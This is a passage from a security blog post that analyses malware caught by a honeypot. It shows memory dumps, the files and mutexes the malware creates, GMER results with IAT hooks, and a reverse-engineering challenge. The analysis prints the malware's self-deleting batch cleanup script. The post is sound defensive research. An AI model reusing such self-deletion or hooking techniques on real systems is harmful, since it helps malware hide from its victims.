74 00 25 53 79 73 74 65 6D  \\TKIdiot.%System\n00143CFC  72 6F 6F 74 25 5C 73 79 73 74 65 6D 33 32 5C 77  root%\\<span style=\"color: #0000ff\">system<\/span>32\\w\n00143D0C  65 62 63 68 65 63 6B 2E 64 6C 6C 00 5C 44 72 69  ebcheck.dll.\\Dri\n00143D1C  76 65 72 00 44 65 65 70 46 72 7A 00 59 7A 49 64  ver.DeepFrz.YzId\n00143D2C  69 6F 74 00 73 6E 70 73 68 6F 74 00 53 68 69 65  iot.snpshot.Shie\n00143D3C  6C 64 00 5A 77 4C 6F 61 64 44 72 69 76 65 72 00  ld.ZwLoadDriver.\n00143D4C  50 6C 75 67 69 6E 32 61 2E 53 65 63 74 69 6F 6E  Plugin2a.Section\n00143D5C  00 00 00 00 00 00 00 00 AB AB AB AB AB AB AB AB  ........\u00ab\u00ab\u00ab\u00ab\u00ab\u00ab\u00ab\u00ab\n00143D6C  EE FE EE FE 00 00 00 00 00 00 00 00 51 02 40 00  \u00ee\u00fe\u00ee\u00fe........Q@.<\/pre>\n<p>Pointers to some of the function names in the memory dump are retrieved and stored at a negative offset of EBP :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image207.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb204.png\" width=\"531\" height=\"221\" \/><\/a><\/p>\n<p>Then kernel32.MultiByteToWideChar() is called, using the following arguments :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FBB8   00000000  ....  |CodePage = CP_ACP\n0012FBBC   00000000  ....  |Options\n0012FBC0   00143D18  =.  |StringToMap = &quot;<span style=\"color: #8b0000\">\\Driver<\/span>&quot;\n0012FBC4   FFFFFFFF  \u00ff\u00ff\u00ff\u00ff  |StringSize = FFFFFFFF (-1.)\n0012FBC8   0012FBDC  \u00dc\u00fb.  |WideCharBuf = 0012FBDC\n0012FBCC   00000010  ...  \\WideBufSize = 10 (16.)<\/pre>\n<p>at 10001AAA, VirtualAlloc() is called :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FBC0   00000000  ....  |Address = NULL\n0012FBC4   00100000  ...  |Size = 100000 (1048576.)\n0012FBC8   00001000  ...  |AllocationType = MEM_COMMIT\n0012FBCC   00000004  ...  \\Protect = PAGE_READWRITE<\/pre>\n<p>A little while later, memory is freed again, and module unacev32.dll is unloaded again.<\/p>\n<p>The dll is removed again, and then application initiates the cleanup routine (via calc.exe)\u2026<\/p>\n<p>All of that doesn't really make sense - why create a dll, loading it, and delete it again \u2026&#160; Then again, we had to modify certain jumps to make the code produce the file\u2026 so maybe we are still not testing\/analysing the file in the righ context either.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h5>~DF5E.exe<\/h5>\n<p>While using the same techniques again, this file is different than the last 3. It does not only create files, but it also appears to be changing a few things. In addition to that, it also seems to be using a different technique to clean up itself in the end.<\/p>\n<p>It creates the following files :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\Documents &amp; Settings\\&lt;user&gt;\\Local Settings\\Temp\\kb291941.sve\nC:\\Program Files\\Common Files\\System\\kb291941.bwb\nC:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\dsound.dll.dat\nC:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\dsound.dll.dat\nC:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\dsound.dll.NULG\nC:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\dsound.dll\nC:\\Documents &amp; Settings\\&lt;user&gt;\\Local Settings\\Temp\\tempVidio.bat<\/pre>\n<p>It also creates the following mutexes :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">CTF.LBES.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500\nCTF.Compart.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500\nCTF.Asm.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500\nCTF.Layouts.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500\nCTF.TMD.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500\nCTF.TimListCache.FMPDefaultS-1-5-21-583907252-1708537768-842925246-500MUTEX.DefaultS-1-5-21-583907252<\/pre>\n<p>This time, tempVidio.bat is used to remove the .exe file and itself :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">@echo  off\n:try\ndel  C:\\DOCUME~1\\myne-us\\APPLIC~1\\Tencent\\~DF5E.exe\n<span style=\"color: #0000ff\">if<\/span>   exist   C:\\DOCUME~1\\myne-us\\APPLIC~1\\Tencent\\~DF5E.exe  <span style=\"color: #0000ff\">goto<\/span>  try\n\n\ndel  C:\\DOCUME~1\\myne-us\\LOCALS~1\\Temp\\tempVidio.bat<\/pre>\n<p>&#160;<\/p>\n<h5>~DF6B.exe<\/h5>\n<p>This file is very similar to ~DF5E.exe. It creates the following files :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\Documents &amp; Settings\\&lt;user&gt;\\Local Settings\\Temp\\kb848115.sve\nC:\\Program Files\\Common Files\\System\\kb848115.srd\n\\Device\\Tcp\n\\Device\\Ip\n\\Device\\Ip\nC:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\d3d8thk.dll.dat\nC:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\d3d8thk.dll.dat\nC:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\d3d8thk.dll.EMGP\nC:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\d3d8thk.dll\nC:\\Documents &amp; Settings\\&lt;user&gt;\\Local Settings\\Temp\\tempVidio.bat<\/pre>\n<p>and also creates the same mutexes as the ones created in ~DF5E.exe<\/p>\n<p>Furthermore, a COM instance is created :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">COM Create Instance: C:\\Program Files\\Windows Desktop Search\\MSNLNamespaceMgr.dll, \nProgID: (MSNLNamespaceMgr.NamespaceMgr.1), \nInterface ID: ({00000000-0000-0000-C000-000000000046})\nCOM Get Class Object: C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\urlmon.dll, \nInterface ID: ({00000001-0000-0000-C000-000000000046})<\/pre>\n<p>And finally the executable is deleted using tempVidio.bat<\/p>\n<p>&#160;<\/p>\n<h5>~DF19.exe \/ ~DF21.exe&#160; \/ ~DF29.exe \/ ~DF36.exe \/ ~DF42.exe \/ ~DF46.exe \/ ~DF53.exe \/ ~DF57.exe \/ ~DF65.exe \/ ~DF70.exe \/ ~DF76.exe<\/h5>\n<p>&#160;<\/p>\n<h3>The missing pieces<\/h3>\n<p>At this point, we have been able to analyse the way the machine got rooted and described the first stages of the infection.&#160; We know that files are downloaded, executables are created and network traffic is created.<\/p>\n<p>However, we have not been able to find <\/p>\n<ul>\n<li>how to properly debug the injected code into explorer and document how iexplorer.exe is called <\/li>\n<li>how the machine gets infected permanently <\/li>\n<li>what process is responsible for the network traffic (we suspect it's l.exe -&gt; explorer.exe -&gt; iexplorer.exe -&gt; network, but we have not been able to prove that ) <\/li>\n<li>what the purpose of the malware \/ infection is <\/li>\n<li>what the relationship is between the images and the executables <\/li>\n<li>why the executables create dll files and how these dll files are used <\/li>\n<li>\u2026 <\/li>\n<\/ul>\n<p>So it looks like a big part of the missing pieces can be found inside explorer.exe or iexplore.exe, and maybe that will also explain the somewhat weird behaviour of the 18 executables.<\/p>\n<p><a href=\"http:\/\/www.gmer.net\/\">GMER<\/a> scans produce the following results :<\/p>\n<p>before infection : no traces of infection<\/p>\n<p>after infection : <\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">---- User code sections - GMER 1.0.15 ----\n\n.text     C:\\WINDOWS\\Explorer.EXE[1544] kernel32.dll!SetUnhandledExceptionFilter                                                7C84495D 5 Bytes  [33, C0, C2, 04, 00] {XOR EAX, EAX; RET 0x4}\n\n---- User IAT\/EAT - GMER 1.0.15 ----\n\nIAT       C:\\WINDOWS\\Explorer.EXE[1544] \n  C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\USER32.dll \n  [KERNEL32.dll!LoadLibraryExW]                          \n  [02743E95] C:\\Program Files\\Real\\pnen3260.dll (RealVideo\/RealNetworks, Inc.)\n\nIAT       C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE[1568] \n  C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\SHLWAPI.dll [USER32.dll!DialogBoxParamW]  \n  [10003BDA] C:\\Program Files\\Real\\pnen3260.dll (RealVideo\/RealNetworks, Inc.)\n\n---- EOF - GMER 1.0.15 ----<\/pre>\n<p>infected, after reboot :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">---- User code sections - GMER 1.0.15 ----\n\n.text     C:\\WINDOWS\\Explorer.EXE[1404] kernel32.dll!SetUnhandledExceptionFilter                        7C84495D 5 Bytes  [33, C0, C2, 04, 00] {XOR EAX, EAX; RET 0x4}\n\n---- User IAT\/EAT - GMER 1.0.15 ----\n\nIAT       C:\\WINDOWS\\Explorer.EXE[1404] \n  C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\USER32.dll [KERNEL32.dll!LoadLibraryExW]  \n  [00FE3E95] C:\\Program Files\\Real\\sipr3260.dll (RealVideo\/RealNetworks, Inc.)\n\n---- EOF - GMER 1.0.15 ----<\/pre>\n<p>So it's clear that pnen3260.dll plays an important role - the IAT table of iexplore.exe shows that one of the functions (DialogBoxParamW) was hooked and points to a function inside pnen3260.dll<\/p>\n<p>After a reboot, the IAT of explorere.exe contains a reference to sipr3260.dll (LoadLibraryExW is hooked and points to a function inside that dll).<\/p>\n<p>&#160;<\/p>\n<p>\u2026 and this is where our journey ends for now\u2026<\/p>\n<p>&#160;<\/p>\n<h3>Lessons learned so far<\/h3>\n<p>Obviously don't connect unpatched computers directly to the internet, unless you want to get owned for analysis purposes \ud83d\ude42<\/p>\n<p>If you want to analyze (userland) malware, procmon and a decent sniffer will help you document it's behaviour from a process &amp; network traffic point of view\u2026 but if you are serious about analyzing malware, you really need to dive into the asm &amp; carefully step through. Every single instruction, jump or call may be important. It's not uncommon to&#160; see that executables don't use a lot of API imports, and that API calls are generated at runtime.<\/p>\n<p>Beware of <a href=\"http:\/\/www.symantec.com\/connect\/articles\/windows-anti-debug-reference\">anti-debugging<\/a> tricks. <\/p>\n<p>Make sure to run things in an isolated machine (vm) and take snapshots before starting the debugging process. Realize though that malware may be able to detect a VM and change behaviour or even escape from it\u2026<\/p>\n<p>From a tools perspective, this analysis has proven once again that using a tool (whether it's a debugger or&#160; some kind of automated analysis tool), may not report accurate information.&#160; Even a combination of the tools might provide you a false sense of security.&#160; It's imperative to use the right tool, at the right time, under the right circumstances and within the right context.&#160; It's difficult to find the right balance, timing and technique, but you'll get there if&#160; you show some perseverance and dedication. Even if the malware specimen turns out to be low risk after all, it might still be a good learning experience.<\/p>\n<p>In case of multi-staged malware, make sure to capture all files that are created in a given stage, and keep them handy. You might need those files again when looking at another piece of the malware.<\/p>\n<p>Be prepared to spend a painful amount of time and effort to properly document what's going on.<\/p>\n<p>This malware specimen is probably not new, maybe not the most damaging out there , and most certainly not as complex as other malware, but hey\u2026 this is the one that rooted our box. <\/p>\n<p>&#160;<\/p>\n<p>Some other tips: <\/p>\n<ul>\n<li>Mutexes are often used to determine if malware is already running. <\/li>\n<li>OpenProcess(), CreateRemoteThread(), WriteProcessMemory(), VirtualAllocEx() and QueueUserAPC() are instructions that might indicate injection into a process. <\/li>\n<li>The fact that a binary is not packed doesn't rule out the possibililty that it's malicious. There's a plethora of ways to decode, re-combine\/reproduce code on the fly.&#160; Packers often raise suspicion, other routines might even bypass AV. <\/li>\n<\/ul>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<p>Okay, enough with the chit chat.&#160; <\/p>\n<p>Get ready for\u2026<\/p>\n<h3>The Challenge<\/h3>\n<p>At this point, we would like to challenge you !&#160; Most of you are familiar with CTF\/wargames\/reversing challenges, so we decided to turn this analysis into a game.&#160; <\/p>\n<p>Usually, the binary\/reversing challenges in those 'wargames' are based upon custom compiled executables or binaries.&#160; Makes sense, since a CTF is usually limited in time and has a bunch of other challenges to complete as well.<\/p>\n<p>In our case, instead of using a custom executable, the target is a real worm\u2026 real malware.&#160; Exciting, isn't it ?<\/p>\n<p>The game winner will get a (modest) prize (see below), but we think the educational value, the fact that you can share your experience with the world, and get recognized &amp; respected for that, is what should drive you to take on this challenge. <\/p>\n<h5><strong>Goal<\/strong> : <\/h5>\n<p>Write and submit a document (in English), documenting (in detail, text &amp; screenshots) :<\/p>\n<ul>\n<li>what the anti debugging tricks are (of the injected code inside explorer.exe) and how to properly bypass them to debug the code <\/li>\n<li>how and where iexplorer.exe gets called <\/li>\n<li>where\/how the network connections are initiated\/made (download of images, self propagation, etc) <\/li>\n<li>what the relation is between the images and the executables <\/li>\n<li>what the purpose is of the executables (high level explanation is ok) <\/li>\n<li>how the machine gets infected permanently <\/li>\n<li>finally, what the main purpose is of this malware <\/li>\n<\/ul>\n<p>The first person to submit a valid\/correct\/reproducable procedure wins a <a href=\"http:\/\/www.cafepress.com\/CorelanTeam.457353768\">Corelan coffee mug<\/a>&#160;<em>(that is, if Cafepress can ship goods to where you live.. if not, we'll figure something out).<\/em>&#160; We will post your document on this site, so other people can learn from it as well.<\/p>\n<blockquote>\n<p>We are not looking for behaviour analysis. We want proof and techniques, and we need to be able to reproduce the techniques based on your document.<\/p>\n<\/blockquote>\n<p>Submit your paper (pdf) to security [at] corelan [dot] be.&#160; <\/p>\n<h5><strong>Deadline <\/strong>: <\/h5>\n<p>End of february 2011<\/p>\n<p>&#160;<\/p>\n<p>Good luck !<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h3>Thanks to\u2026<\/h3>\n<p>Corelan Team ! You guys rock !<\/p>\n<hr \/>\n<p><!--Digiprove_Start--><span lang=\"en\" xml:lang=\"en\" class=\"notranslate\" style=\"vertical-align:middle; display:inline; padding:3px; line-height:normal;border:1px solid #e3e3e3;background-color:#000000;\" title=\"certified 12 February 2011 09:23:43 UTC by Digiprove certificate P101389\" ><a href=\"http:\/\/www.digiprove.com\/show_certificate.aspx?id=P101389%26guid=JxbNOV_R5UGroBy543H9yQ\" target=\"_blank\" rel=\"copyright noopener\" style=\"border:0px; float:none; display:inline; text-decoration: none; background-color:transparent\"><img decoding=\"async\" src=\"http:\/\/www.corelan.be\/wp-content\/plugins\/digiproveblog\/dp_seal_trans_16x16.png\" style=\"vertical-align:middle; display:inline; border:0px; margin:0px; float:none; background-color:transparent\" border=\"0\" alt=\"\"\/><span style=\"font-family: Tahoma, MS Sans Serif; font-size:11px; font-weight:normal; color:#FFFFFF; border:0px; float:none; display:inline; text-decoration:none; letter-spacing:normal\" onmouseover=\"this.style.color='#FFFF1C';\" onmouseout=\"this.style.color='#FFFFFF';\">&nbsp;&nbsp;Copyright secured by Digiprove&nbsp;&copy; 2011 Peter Van Eeckhoutte<\/span><\/a><!--89EDC0A544B7697C808AF6236A2C8A11751BF31165D90DDD0E76B84C18D77B14--><\/span><!--Digiprove_End--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Interested in capturing, documenting and analyzing scans and malicious activity, Corelan Team decided to set up a honeypot and put it online. In the first week of december 2010, Obzy built a machine (default Windows XP SP3 installation, no patches, firewall turned off), named it \"EGYPTS-AIRWAYS\", set up a honeypot + some other monitoring tools, and connected it to the internet.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[245,2561,127],"tags":[2676,2583,2581,2576,2157,2124,261],"class_list":["post-5675","post","type-post","status-publish","format-standard","hentry","category-exploits","category-malware-and-reversing","category-security","tag-reverse-engineering","tag-malware","tag-iat","tag-debugging","tag-peb","tag-debugger","tag-corelan"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>The Honeypot Incident - How strong is your UF (Reversing FU) - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"The Honeypot Incident - How strong is your UF (Reversing FU) - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"Interested in capturing, documenting and analyzing scans and malicious activity, Corelan Team decided to set up a honeypot and put it online. In the first week of december 2010, Obzy built a machine (default Windows XP SP3 installation, no patches, firewall turned off), named it &quot;EGYPTS-AIRWAYS&quot;, set up a honeypot + some other monitoring tools, and connected it to the internet.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2011-01-31T19:10:00+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.corelan.be\/wp-content\/plugins\/digiproveblog\/dp_seal_trans_16x16.png\" \/>\n<meta name=\"author\" content=\"corelanc0d3r\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/01\\\/31\\\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/01\\\/31\\\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\\\/\"},\"author\":{\"name\":\"corelanc0d3r\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\"},\"headline\":\"The Honeypot Incident - How strong is your UF (Reversing FU)\",\"datePublished\":\"2011-01-31T19:10:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/01\\\/31\\\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\\\/\"},\"wordCount\":15975,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/01\\\/31\\\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\\\/#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/www.corelan.be\\\/wp-content\\\/plugins\\\/digiproveblog\\\/dp_seal_trans_16x16.png\",\"keywords\":[\"reverse engineering\",\"malware\",\"iat\",\"debugging\",\"peb\",\"debugger\",\"corelan\"],\"articleSection\":[\"Exploits\",\"Malware and Reversing\",\"Security\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/01\\\/31\\\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/01\\\/31\\\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\\\/\",\"name\":\"The Honeypot Incident - How strong is your UF (Reversing FU) - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/01\\\/31\\\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/01\\\/31\\\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\\\/#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/www.corelan.be\\\/wp-content\\\/plugins\\\/digiproveblog\\\/dp_seal_trans_16x16.png\",\"datePublished\":\"2011-01-31T19:10:00+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/01\\\/31\\\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/01\\\/31\\\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/01\\\/31\\\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\\\/#primaryimage\",\"url\":\"http:\\\/\\\/www.corelan.be\\\/wp-content\\\/plugins\\\/digiproveblog\\\/dp_seal_trans_16x16.png\",\"contentUrl\":\"http:\\\/\\\/www.corelan.be\\\/wp-content\\\/plugins\\\/digiproveblog\\\/dp_seal_trans_16x16.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2011\\\/01\\\/31\\\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"The Honeypot Incident &#8211; How strong is your UF (Reversing FU)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\",\"name\":\"corelanc0d3r\",\"pronouns\":\"he\\\/him\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"caption\":\"corelanc0d3r\"},\"description\":\"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.\",\"sameAs\":[\"https:\\\/\\\/www.corelan-training.com\",\"https:\\\/\\\/instagram.com\\\/corelanc0d3r\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/petervaneeckhoutte\\\/\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\"],\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/admin0\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"The Honeypot Incident - How strong is your UF (Reversing FU) - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/","og_locale":"en_US","og_type":"article","og_title":"The Honeypot Incident - How strong is your UF (Reversing FU) - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"Interested in capturing, documenting and analyzing scans and malicious activity, Corelan Team decided to set up a honeypot and put it online. In the first week of december 2010, Obzy built a machine (default Windows XP SP3 installation, no patches, firewall turned off), named it \"EGYPTS-AIRWAYS\", set up a honeypot + some other monitoring tools, and connected it to the internet.","og_url":"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability 